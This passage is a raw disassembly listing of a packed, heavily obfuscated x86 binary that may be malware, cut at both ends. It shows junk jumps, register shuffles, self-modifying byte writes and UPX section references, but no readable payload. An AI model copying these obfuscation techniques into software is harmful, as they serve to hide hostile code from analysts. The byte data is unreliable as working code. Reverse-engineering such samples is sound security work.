0E9520000h, 2F02h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43041D loc_42F706: ; CODE XREF: sub_43041D:loc_42F88Aj add edx, ebx pop ebx mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jnz loc_42F32C jmp sub_430B68 ; END OF FUNCTION CHUNK FOR sub_43041D ; --------------------------------------------------------------------------- jmp loc_42F32C ; --------------------------------------------------------------------------- align 10h dd 240C8700h, 24148759h, 0FFF108E9h, 8B5500FFh, 27C6E9EFh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FA52 loc_42F736: ; CODE XREF: sub_42FA52+7j jge loc_43191A loc_42F73C: ; CODE XREF: sub_42F263+10j jmp loc_4317D6 ; END OF FUNCTION CHUNK FOR sub_42FA52 ; --------------------------------------------------------------------------- align 2 dw 0F0E9h dd 0FFFFFAh, 0AFF68199h, 0E907A695h, 21C6h, 0C30000h, 0A1C08100h dd 3D14EE7h, 0BFBE56C5h, 0E90042FAh, 669h, 59240C87h, 4326F968h dd 2D18E900h, 0 db 0C6h ; Æ db 3 db 1 db 87h ; ‡ db 2Ch ; , db 24h ; $ db 8Bh ; ‹ db 0DDh ; Ý db 5Dh ; ] db 0ACh ; ¬ db 0FDh ; ý db 0C2h ;  db 0E9h ; é db 0B8h ; ¸ dw 0FFF3h dd 0A85000FFh, 363A5868h, 0C0C158D1h, 0B0C0810Bh, 0E84E7061h dd 2BAAh, 66E90000h, 0E9000006h, 0FFFFF589h, 0C30000h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4312D7 loc_42F7B5: ; CODE XREF: sub_4312D7+Ej jmp loc_4302A9 ; END OF FUNCTION CHUNK FOR sub_4312D7 ; --------------------------------------------------------------------------- jmp loc_430D55 ; --------------------------------------------------------------------------- jz loc_431232 jmp sub_42FC3B ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_430E27 loc_42F7CC: ; CODE XREF: sub_430E27:loc_42FD05j mov byte ptr [edi], 9Ch pop edi mov [esi], eax pop esi loc_42F7D3: ; DATA XREF: sub_430E27+4o mov esp, 0EDB12368h mov esp, 4AC88158h db 64h mov ch, 0B9h jmp loc_431FD9 ; END OF FUNCTION CHUNK FOR sub_430E27 ; --------------------------------------------------------------------------- align 2 loc_42F7E6: ; CODE XREF: fzj3qwht:0042EA20j xchg eax, [esp] xchg edi, [esp] mov eax, edi pop edi jmp loc_431475 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- locret_42F7F7: ; CODE XREF: fzj3qwht:0042E917j retn ; --------------------------------------------------------------------------- jmp loc_43132E ; --------------------------------------------------------------------------- loc_42F7FD: ; DATA XREF: fzj3qwht:0042E912o push offset byte_4319A1 jmp loc_42EA3F ; --------------------------------------------------------------------------- align 4 dd 81D60300h, 68454AC1h, 98B9D23h, 0F2F4F8BAh, 0FCC031F1h dd 0FFFEA1E9h, 41C381FFh, 687A32CFh, 431491h, 2518E9h dd 8DC38100h, 0E97C73ADh, 26Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_42F83E: ; DATA XREF: sub_430F2A:loc_43246Co mov byte ptr [eax], 2Ch pop eax add eax, 1076046Fh mov eax, [eax] popf mov al, [eax] loc_42F84D: ; DATA XREF: sub_430F2A+5o sub al, 99h jmp loc_42F9FA ; --------------------------------------------------------------------------- dd 0D3C28100h, 0E9D774F6h, 1540h, 0F1880F00h, 28h, 752E9h dd 0EBC10000h, 28DEE91Ah, 0F000000h, 6568Ah, 0D31E900h db 3 dup(0) ; --------------------------------------------------------------------------- loc_42F883: ; CODE XREF: fzj3qwht:00432855j jl loc_4306CE ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43041D loc_42F88A: ; CODE XREF: sub_43041D+E9j jmp loc_42F706 ; END OF FUNCTION CHUNK FOR sub_43041D ; --------------------------------------------------------------------------- align 10h add ecx, ebp jmp loc_4306C7 ; --------------------------------------------------------------------------- db 68h dd offset loc_430B9B dd 0FFF283E9h, 0F0000FFh, 18F83h db 0 ; =============== S U B R O U T I N E ======================================= sub_42F8A9 proc near ; CODE XREF: sub_42EFCF+1504p ; FUNCTION CHUNK AT 00432782 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi pop esi jmp loc_432782 sub_42F8A9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 loc_42F8B4: ; CODE XREF: fzj3qwht:004312D0j mov byte ptr [esi], 9Dh pop esi pop edx rol edx, 17h or edx, 0E57584B0h call sub_430C13 ; --------------------------------------------------------------------------- db 0 db 0 db 0C6h ; Æ db 1 db 3 db 59h ; Y db 0E8h ; è db 71h ; q db 14h db 0 db 0 db 0 db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_149. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0), 0E9h dd 2A98h, 58240487h, 4F6E85Fh ; CODE XREF: fzj3qwht:loc_4322FEj db 3 dup(0) ; --------------------------------------------------------------------------- loc_42F8E7: ; CODE XREF: fzj3qwht:loc_430A55j and eax, 470262A5h sub eax, 0A33EDB30h rol eax, 0Eh call sub_431E69 add cl, ch ; CODE XREF: sub_431E7D+7j cdq and eax, 3AE90000h sub [eax], al ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- sub ebx, eax xchg ebp, esi jmp loc_43103F ; --------------------------------------------------------------------------- align 2 loc_42F912: ; CODE XREF: fzj3qwht:0042EB2Cj call sub_43060A add cl, ch sahf add cs:[eax], al call near ptr dword_42E9A4+24h ; START OF FUNCTION CHUNK FOR sub_43041D loc_42F922: ; CODE XREF: sub_43041D+Bj jmp loc_4304E8 ; END OF FUNCTION CHUNK FOR sub_43041D ; --------------------------------------------------------------------------- jmp loc_4321D4 ; --------------------------------------------------------------------------- dd 0E9030000h, 371E9h, 992C0000h, 0FFA73768h, 0EA815A86h dd 664A2151h, 9397CA81h, 0D8E910DFh, 0FFFFFFh, 82E9D60Bh db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430E46 loc_42F957: ; CODE XREF: sub_430E46+7j ; DATA XREF: fzj3qwht:004312CBo aas mov eax, [ebp-0Ch] mov esp, ebp call sub_4328BA add cl, ch adc al, 12h ; END OF FUNCTION CHUNK FOR sub_430E46 ; --------------------------------------------------------------------------- dw 0 db 0 ; --------------------------------------------------------------------------- loc_42F969: ; CODE XREF: fzj3qwht:0043094Dj jmp loc_42F9D9 ; --------------------------------------------------------------------------- align 10h dd 0FFFFC1E9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4316FE loc_42F975: ; CODE XREF: sub_4316FE:loc_42ED04j mov ebp, esp push offset sub_42FF6B jmp loc_43249C ; END OF FUNCTION CHUNK FOR sub_4316FE ; --------------------------------------------------------------------------- locret_42F981: ; CODE XREF: fzj3qwht:loc_4318C2j retn ; --------------------------------------------------------------------------- align 4 loc_42F984: ; CODE XREF: fzj3qwht:00432176j jmp loc_431270 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 2922h, 8BDE9h, 87000000h, 875F243Ch ; --------------------------------------------------------------------------- sbb al, 24h loc_42F99E: ; CODE XREF: fzj3qwht:0042F421j jmp loc_431113 ; --------------------------------------------------------------------------- align 4 dd 0E9B56800h, 2CA6E4C0h, 2AE95524h, 0FFFFFDh, 4421EF81h dd 2FE94242h, 11h, 0F320800Fh, 82E9FFFFh, 1Ah, 2EE85300h dd 10h, 1BD9E9h db 0 ; --------------------------------------------------------------------------- loc_42F9D9: ; CODE XREF: fzj3qwht:loc_42F969j push offset loc_42FDB1 jmp near ptr dword_42E794+6Fh ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_42F188 loc_42F9E4: ; CODE XREF: sub_42F188:loc_43197Dj jl loc_431C6F not ebx jmp loc_431C6E ; END OF FUNCTION CHUNK FOR sub_42F188 ; --------------------------------------------------------------------------- align 2 locret_42F9F2: ; CODE XREF: fzj3qwht:0042E78Dj retn ; --------------------------------------------------------------------------- align 4 dd 1D8EE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_42F9FA: ; CODE XREF: fzj3qwht:0042F84Fj jmp loc_4313CB ; --------------------------------------------------------------------------- jmp loc_430043 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_42FA05: ; DATA XREF: fzj3qwht:0042E788o jmp loc_4313EB ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- locret_42FA0B: ; CODE XREF: fzj3qwht:0042E782j retn ; --------------------------------------------------------------------------- dd 8B520000h, 0FDA4E9D5h, 0F00FFFFh, 16189h, 0B68AC00h dd 0E9004326h, 0D36h, 3C2C100h, 431B6E68h, 0FB3EE900h dd 0FFFFh, 810CC3C1h, 773950F3h, 0B5CB8160h, 6802CC75h dd 42F831h, 1DB1E9h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42FA52 proc near ; CODE XREF: fzj3qwht:004318D2p var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0042F736 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042FE43 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004303A4 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004317D6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043191A SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00431F49 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004320C3 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043273D SIZE 00000005 BYTES xchg eax, [esp+0] pop eax cmp ebx, edi pop edi jmp loc_42F736 sub_42FA52 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg ebx, [esp] push edx mov edx, offset loc_4322CD jmp loc_43025A ; --------------------------------------------------------------------------- db 0 byte_42FA6D db 87h, 14h, 24h ; DATA XREF: fzj3qwht:loc_42FEECo db 8Bh, 0DAh, 5Ah byte_42FA73 db 3Ah ; DATA XREF: fzj3qwht:0042F15Co dd 0F08B2404h, 8B242C87h, 0F148E9C5h, 8100FFFFh, 0BDE2B5C9h ; CODE XREF: fzj3qwht:00432367j dd 0BC18190h db 14h, 2, 26h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301B7 loc_42FA8F: ; CODE XREF: sub_4301B7-14A2j push offset loc_43018A jmp locret_4314FA ; END OF FUNCTION CHUNK FOR sub_4301B7 ; --------------------------------------------------------------------------- loc_42FA99: ; CODE XREF: fzj3qwht:00431B68j mov byte ptr [ecx], 3 pop ecx push 42EC12h jmp loc_4318C2 ; --------------------------------------------------------------------------- align 4 retn ; --------------------------------------------------------------------------- align 2 dw 3C6h dd 243C8788h, 0E85FDF8Bh, 0FFFFF125h ; --------------------------------------------------------------------------- loc_42FAB8: ; CODE XREF: fzj3qwht:0042EFE8j jmp loc_42F2D4 ; --------------------------------------------------------------------------- db 2 dup(0), 2Fh ; CODE XREF: fzj3qwht:loc_431720j dd 6800FF9h, 0E8FFFFFFh, 2C1Eh ; --------------------------------------------------------------------------- locret_42FACC: ; CODE XREF: fzj3qwht:00431896j retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_42FACF: ; CODE XREF: fzj3qwht:loc_43128Ej jmp loc_4318C9 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EB56 loc_42FAD6: ; CODE XREF: sub_42EB56:loc_4324E3j and esi, 4716E5DCh add esi, 0A5E7B023h jnb near ptr loc_43261D+5 ; END OF FUNCTION CHUNK FOR sub_42EB56 ; --------------------------------------------------------------------------- dd 0EA330000h, 22A8E9h, 87000000h, 815E2434h, 1384F2C0h dd 0E9008B62h, 26A6h db 0 ; --------------------------------------------------------------------------- loc_42FB05: ; CODE XREF: fzj3qwht:0042ED6Ej jl near ptr dword_42E794+8 add [ebx], bh jmp near ptr 2F7BFBh ; --------------------------------------------------------------------------- inc dword ptr [eax] add bl, al xchg edx, [ebx] jmp sub_430C13 ; --------------------------------------------------------------------------- align 2 locret_42FB1E: ; CODE XREF: fzj3qwht:00430847j retn ; --------------------------------------------------------------------------- align 10h db 0, 0FFh, 0D0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_42FB23: ; CODE XREF: sub_431686-2A3Dj ; fzj3qwht:loc_4316B5j push (offset loc_431AE0+1) jmp loc_431A12 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430F48 loc_42FB2D: ; CODE XREF: sub_430F48:loc_43167Bj mov edi, eax xchg edi, [esp+0] call near ptr dword_42E8AC+15h imul eax, [eax], 0F68FE900h ; END OF FUNCTION CHUNK FOR sub_430F48 ; --------------------------------------------------------------------------- db 2 dup(0FFh), 0E8h ; --------------------------------------------------------------------------- retf 0FFFEh ; --------------------------------------------------------------------------- db 0FFh dd 0EA5E8h, 0F000000h, 0FFFCD08Dh, 0D61B00FFh, 9E3C158h dd 0DB81F503h, 63B5A574h, 0FFFCBCE9h, 870000FFh, 0FF5F243Ch dd 42A0C015h, 147BE900h, 0 ; --------------------------------------------------------------------------- jmp loc_431E94 ; --------------------------------------------------------------------------- align 2 push eax mov eax, offset loc_43122D jmp loc_432467 ; --------------------------------------------------------------------------- align 2 push 0BAB1DE92h jmp loc_430307 ; --------------------------------------------------------------------------- dd 0E7810000h, 7645C2F7h, 0EC14D981h, 0DEE965F6h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42FBA7: ; CODE XREF: sub_42F4AE+2A00j cdq xor ebx, edi jmp loc_42FDFB ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- loc_42FBAF: ; DATA XREF: sub_42FA52+1D8Ao add esi, ebp push ecx mov ecx, offset byte_431907 jmp loc_42ED96 ; --------------------------------------------------------------------------- dd 14870000h, 5A595224h, 8B241C87h, 27EE9EBh, 0 dword_42FBD0 dd 21E8595Eh, 8BFFFFEAh, 0C38B5010h, 68240487h, 55798B1h ; DATA XREF: fzj3qwht:0042ED39o dd 0FFF912E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42FBEB: ; CODE XREF: sub_42F4AE+95Dj xor edx, 2F565DD7h xchg edx, [esp-0Ch+arg_8] lea eax, [ebp-81h] push ebx push eax pop ebx adc al, 1Ch and al, 0E9h xchg dh, dh ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- db 0FFh dd 990000FFh, 0C257C581h, 0C2E93627h, 0FFFFF0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301B7 loc_42FC14: ; CODE XREF: sub_4301B7-1496j add ecx, 50B0E746h popf cdq call sub_42ED87 ; END OF FUNCTION CHUNK FOR sub_4301B7 ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h dd 14870000h, 4875A24h, 0C88B5124h, 9C240C87h, 15D5E9h db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42FC3B proc near ; CODE XREF: fzj3qwht:0042F7C5j ; fzj3qwht:0043229Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h ; FUNCTION CHUNK AT 004307B9 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00430878 SIZE 00000009 BYTES xchg ecx, [esp+0] pop ecx lea eax, nullsub_139 mov byte ptr [eax], 0C3h call near ptr loc_4304D8+1 rol edx, 15h jmp loc_4307B9 sub_42FC3B endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 loc_42FC56: ; CODE XREF: fzj3qwht:00431993j mov byte ptr [edx], 57h pop edx pop esi push esi mov esi, ebp xchg esi, [esp] pop ebx in al, dx push eax jmp loc_4302C3 ; --------------------------------------------------------------------------- align 2 xchg ebp, [esp] push 3438DB61h xchg ebp, [esp] mov esi, ebp pop ebp add esi, 0C225606h jmp loc_431F0A ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4301AC loc_42FC85: ; CODE XREF: sub_4301AC+1BD3j jl loc_431CC5 ; END OF FUNCTION CHUNK FOR sub_4301AC ; --------------------------------------------------------------------------- db 0 dd 1C860F00h, 0E9000024h, 2028h, 0B78D0F00h, 0E9FFFFEFh dd 0FFFFF6D5h, 3C870000h, 45C65F24h, 45FF2DE0h, 1B6FE8F0h dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42FCB8: ; CODE XREF: sub_42F4AE:loc_432243j pop edx xchg ebx, [esp-0Ch+arg_8] push ebx pop ebp pop ebx retn ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_432090 loc_42FCC1: ; CODE XREF: sub_432090+Bj jmp loc_42FDEC ; END OF FUNCTION CHUNK FOR sub_432090 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_42FCC8 proc near ; CODE XREF: sub_4309EE+4p ; fzj3qwht:loc_431113j push 131AFD00h jmp near ptr dword_42EDF4+21h sub_42FCC8 endp ; --------------------------------------------------------------------------- dw 9900h ; --------------------------------------------------------------------------- xchg edi, [esp] pop edi jmp loc_4322FE ; --------------------------------------------------------------------------- xchg esi, [esp] push eax jmp loc_431C47 ; --------------------------------------------------------------------------- dw 300h db 0DDh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431452 loc_42FCE9: ; CODE XREF: sub_431452-1114j add ebx, 3195D621h db 64h add ebp, eax mov esi, ebp ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- dd 0FFFFh, 42F00268h, 0F9A0E900h db 2 dup(0FFh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_142. PRESS KEYPAD "+" TO EXPAND] align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430E27 loc_42FD05: ; CODE XREF: sub_430E27+9j jmp loc_42F7CC ; END OF FUNCTION CHUNK FOR sub_430E27 ; --------------------------------------------------------------------------- dw 0E900h dd 64Bh, 879D3F8Bh, 9C51243Ch, 0A274868h, 96E9594Ch, 87000002h dd 0C65B241Ch, 34879D02h, 5ED68B24h, 9302E881h, 0C0C1DE75h dd 0ADBE919h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FF6B loc_42FD40: ; CODE XREF: sub_42FF6B:loc_431630j mov esi, offset loc_42FE11 jmp loc_42EFB2 ; END OF FUNCTION CHUNK FOR sub_42FF6B ; --------------------------------------------------------------------------- mov byte ptr [eax], 87h pop eax pop edx or edx, 3E95D7B0h sub edx, 6407E5BDh add edx, 0EF58EF1h jmp loc_430758 ; --------------------------------------------------------------------------- align 4 dd 870F03C6h, 0DE8B2434h, 0FB8BE95Eh, 5F00FFFFh, 811AC7C1h dd 73D044E7h, 9B46848h, 80E90043h, 2, 0E9FE8500h, 0FFFFEDD7h ; --------------------------------------------------------------------------- loc_42FD94: ; DATA XREF: fzj3qwht:004311ABo push 5F2BA5EBh xchg ebp, [esp] mov edi, ebp pop ebp sub edi, 2CAFB784h or edi, 896749B1h jmp loc_4321A3 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_42FDB1: ; DATA XREF: fzj3qwht:loc_42F9D9o add ecx, ebp add ecx, 12FE9F75h mov [ecx], eax xchg edi, [esp] mov ecx, edi pop edi jmp loc_43038B ; --------------------------------------------------------------------------- align 4 locret_42FDC8: ; CODE XREF: fzj3qwht:00432314j retn ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 60Bh, 0D33E9h, 0CA6E900h, 0 dd 5E243487h, 8AFC458Bh, 0FB86E900h, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_432090 loc_42FDEC: ; CODE XREF: sub_432090:loc_42FCC1j ; DATA XREF: sub_42F4AE+F8o jbe short loc_42FDF2 and al, 8Bh in al, dx push edi loc_42FDF2: ; CODE XREF: sub_432090:loc_42FDECj mov edi, ecx call near ptr dword_42F43C+1Fh ; END OF FUNCTION CHUNK FOR sub_432090 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42FDFB: ; CODE XREF: sub_42F4AE+6FCj xchg edx, [esp-0Ch+arg_8] pop edx loc_42FDFF: ; CODE XREF: sub_42F4AE:loc_431EA6j push 75B3917Ch pop edx sub edx, 465D33A5h jmp loc_42FBEB ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_42FE11: ; DATA XREF: sub_42FF6B:loc_42FD40o sub [ebp-1459h], al push offset loc_431446 jmp loc_430C36 ; --------------------------------------------------------------------------- align 2 word_42FE22 dw 0F9F7h ; DATA XREF: sub_42ED87+4o dd 0FBA3800Fh, 0BB53FFFFh, 4300E7h, 0FFF9C3E9h, 0C30000FFh dd 55E90000h, 1 db 0 ; --------------------------------------------------------------------------- locret_42FE41: ; CODE XREF: fzj3qwht:00430191j retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FA52 loc_42FE43: ; CODE XREF: fzj3qwht:loc_430130j ; sub_42FA52+1EE4j jmp loc_4320C3 ; END OF FUNCTION CHUNK FOR sub_42FA52 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_154. PRESS KEYPAD "+" TO EXPAND] align 4 jmp loc_42F1C9 ; --------------------------------------------------------------------------- db 2 dup(0), 87h ; CODE XREF: fzj3qwht:004307A8p ; --------------------------------------------------------------------------- xor al, 24h pop esi call ds:dword_42A0C0 ; ExitProcess jmp locret_43201D ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431410 loc_42FE63: ; CODE XREF: sub_431410+Ej ; fzj3qwht:loc_431E94j lea eax, dword_42E868+6 call sub_4322DA add dh, al push es pushf xchg edx, [esp+8+var_8] mov esi, edx pop edx jmp loc_4320F3 ; END OF FUNCTION CHUNK FOR sub_431410 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42FE7E: ; CODE XREF: sub_42F4AE:loc_42F53Cj pop edx sub edx, 0D7453485h or edx, 4464E393h js near ptr dword_42EC68+26h ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- db 2 dup(0), 1Bh dd 0E9FD8BF2h, 1064h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FF32 loc_42FE9D: ; CODE XREF: sub_42FF32:loc_4326CEj mov byte ptr [edx], 8Bh pop edx add eax, ebp add eax, 20790CFAh ; END OF FUNCTION CHUNK FOR sub_42FF32 ; --------------------------------------------------------------------------- db 82h, 0 ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_144. PRESS KEYPAD "+" TO EXPAND] dw 0FFEFh ; --------------------------------------------------------------------------- inc dword ptr [eax] mov ebx, [ecx] jmp loc_430F45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_42FEB9: ; CODE XREF: sub_431686-233Fj mov byte ptr [ecx], 9Ch pop ecx push esi push 0CD222F4Eh pop esi or esi, 2FECD5AEh jmp loc_43095D ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_42FED0 proc near ; CODE XREF: sub_431686:loc_43144Dp xchg edx, [esp+0] pop edx dec dword ptr [ebp-10h] cmp dword ptr [ebp-10h], 0 jmp near ptr dword_42EA44+0ACh sub_42FED0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42FEE0: ; CODE XREF: fzj3qwht:0043264Fj push offset loc_430092 jmp loc_432430 ; --------------------------------------------------------------------------- align 4 loc_42FEEC: ; CODE XREF: fzj3qwht:00431F7Fj push offset byte_42FA6D jmp locret_430E95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EE90 loc_42FEF6: ; CODE XREF: sub_42EE90+4j xor ebx, 9F2302C0h call sub_42F4AE ; END OF FUNCTION CHUNK FOR sub_42EE90 ; --------------------------------------------------------------------------- db 2 dup(0), 50h ; =============== S U B R O U T I N E ======================================= sub_42FF04 proc near ; CODE XREF: fzj3qwht:004328DFp ; FUNCTION CHUNK AT 0043019F SIZE 00000005 BYTES xchg edx, [esp+0] pop edx pushf push 0A5760C23h pop eax push esi jmp loc_43019F sub_42FF04 endp ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 6C65F59h, 0F889E98Bh, 0C300FFFFh, 85E90000h, 22h, 0FFFC1AE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; =============== S U B R O U T I N E ======================================= sub_42FF32 proc near ; CODE XREF: fzj3qwht:loc_431270p ; fzj3qwht:004316F7j ; FUNCTION CHUNK AT 0042FE9D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004326CE SIZE 00000005 BYTES xchg edi, [esp+0] xchg ebx, [esp+0] mov edi, ebx pop ebx jmp loc_4326CE sub_42FF32 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_153. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0), 0Fh dd 22E68Dh, 0FB850000h, 12FE9h db 2 dup(0) ; --------------------------------------------------------------------------- locret_42FF52: ; CODE XREF: fzj3qwht:0042EE9Fj retn ; --------------------------------------------------------------------------- db 87h dd 0CB8B241Ch, 240C875Bh, 6859F18Bh, 4304B1h, 0FFEA79E9h db 0FFh, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42FF6B proc near ; DATA XREF: sub_4316FE-1D87o var_24 = dword ptr -24h ; FUNCTION CHUNK AT 0042EFB2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FD40 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00431630 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00432476 SIZE 0000000D BYTES add esp, 0FFFFFFE0h push edx mov edx, esi xchg edx, [esp+24h+var_24] jmp loc_431630 sub_42FF6B endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_132. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431167 loc_42FF7C: ; CODE XREF: sub_431167+16BFj jmp nullsub_100 ; END OF FUNCTION CHUNK FOR sub_431167 ; --------------------------------------------------------------------------- db 81h, 0C0h, 92h dd 5162EF0Ah, 0C87C88Bh, 0E91CE924h, 0FFFFh, 585BD38Bh dd 7710F081h, 0C881DA36h, 0B4728397h, 0D525F081h, 0C59EF60Dh dd 228AE951h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43098E loc_42FFB2: ; CODE XREF: sub_43098E:loc_430513j call sub_430218 ; END OF FUNCTION CHUNK FOR sub_43098E ; --------------------------------------------------------------------------- db 0 dd 1698E900h, 0C3000000h, 0FA48E900h, 0EEE8FFFFh, 5, 0E90BEFC1h dd 0FFFFF349h, 0E9DA0300h, 1F5Ch db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42FFDE proc near ; CODE XREF: fzj3qwht:0042ED34p ; FUNCTION CHUNK AT 004317CC SIZE 0000000A BYTES xchg ebx, [esp+0] pop ebx add eax, 680AA673h mov eax, [eax] jmp loc_4317CC sub_42FFDE endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h dd 0D8FB8100h, 0E9846517h, 0FFFFFF30h, 36E6DD81h, 0EE23B3C6h ; CODE XREF: sub_431F38+35Aj dd 0DA4E9h, 0C3000000h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_43000C: ; CODE XREF: sub_42F4AE+1ABBj jmp nullsub_156 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; =============== S U B R O U T I N E ======================================= sub_430011 proc near ; CODE XREF: fzj3qwht:loc_430198p ; fzj3qwht:004317EEj xchg esi, [esp+0] pop esi add edx, 30B98DAFh call sub_43241A jmp nullsub_148 sub_430011 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431167 loc_430025: ; CODE XREF: sub_431167-2246j jmp loc_43281C ; END OF FUNCTION CHUNK FOR sub_431167 ; --------------------------------------------------------------------------- dw 0C300h ; --------------------------------------------------------------------------- loc_43002C: ; DATA XREF: sub_43060A+8o push 84B15035h pop eax and eax, 73D25872h test eax, 100h jmp loc_4321CF ; --------------------------------------------------------------------------- loc_430043: ; CODE XREF: fzj3qwht:0042F9FFj call loc_430274 ; --------------------------------------------------------------------------- db 0, 8Bh, 55h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43005C loc_43004B: ; CODE XREF: sub_43005C+4j add [ecx+9AEE930h], cl ; END OF FUNCTION CHUNK FOR sub_43005C ; --------------------------------------------------------------------------- db 3 dup(0) dd 2F8F0F00h, 81000018h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43005C proc near ; DATA XREF: UPX1:0041A720o ; FUNCTION CHUNK AT 